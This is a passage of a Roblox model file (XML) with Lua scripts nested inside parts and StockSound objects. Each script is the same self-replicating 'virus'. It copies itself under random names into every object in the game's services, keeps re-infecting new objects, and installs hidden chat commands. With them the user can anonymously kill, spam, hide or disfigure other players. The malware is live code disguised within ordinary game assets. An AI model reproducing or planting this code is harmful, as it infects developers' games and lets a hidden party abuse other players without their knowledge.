for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX406">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-22</X>
								<Y>10.5</Y>
								<Z>113.5</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>-0</R02>
								<R10>-0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>-0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">0</float>
							<float name="LeftParamB">0</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Torso</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">0</float>
							<float name="RightParamB">0</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="Decal" referent="RBX407">
							<Properties>
								<token name="Face">5</token>
								<string name="Name">roblox</string>
								<float name="Shiny">20</float>
								<float name="Specular">0</float>
								<Content name="Texture"><hash>a7b5654da45eafbc96499a90f764de83</hash></Content>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX408">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">40rh0qq8</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX409">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">dvn0vunf</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX410">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">ndyc</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX411">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">7jjv</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
